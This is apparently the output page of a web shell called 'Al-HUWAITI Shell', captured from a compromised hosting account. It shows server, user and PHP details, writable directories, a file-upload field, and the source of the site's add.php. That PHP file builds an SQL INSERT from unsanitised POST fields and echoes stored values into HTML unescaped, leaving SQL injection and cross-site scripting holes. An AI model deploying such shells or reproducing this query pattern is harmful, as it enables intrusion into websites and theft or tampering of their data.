Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/add.php
<?php
require_once("dbcontroller.php");
$db_handle = new DBController();
include "sessioncheck.php";
$posts[]="";
if(!empty($_POST["title"])) {
	$title = $_POST["title"];
	$price = $_POST["price"];
	$ad_id = $_POST["adid"];
	$em_id = $_SESSION['id'];
  	$sql = "INSERT INTO pricelist (ad_id,em_id,service,price,inorder) VALUES (" . $ad_id . "," . $em_id . ",'" . $title . "','" . $price . "',0)";
  	$faq_id = $db_handle->executeInsert($sql);
	if(!empty($faq_id)) {
		$sql = "SELECT * from pricelist WHERE id = '$faq_id' ";
		$posts = $db_handle->runSelectQuery($sql);
	}
?>
<tr class="table-row" id="table-row-<?php echo $posts[0]["id"]; ?>">
<td contenteditable="true" onBlur="saveToDatabase(this,'service','<?php echo $posts[0]["id"]; ?>')" onClick="editRow(this);"><?php echo $posts[0]["service"]; ?></td>
<td contenteditable="true" onBlur="saveToDatabase(this,'price','<?php echo $posts[0]["id"]; ?>')" onClick="editRow(this);"><?php echo $posts[0]["price"]; ?></td>
<td align="right" style="padding-right:15px;"><a class="ajax-action-links" onclick="deleteRecord(<?php echo $posts[0]["id"]; ?>);"><i class="fa fa-trash-o fa-lg" data-placement="top" data-toggle="tooltip" data-original-title="Löschen" title="Löschen"></a></td>
</tr>  
<?php } ?>

Al-HUWAITI Shell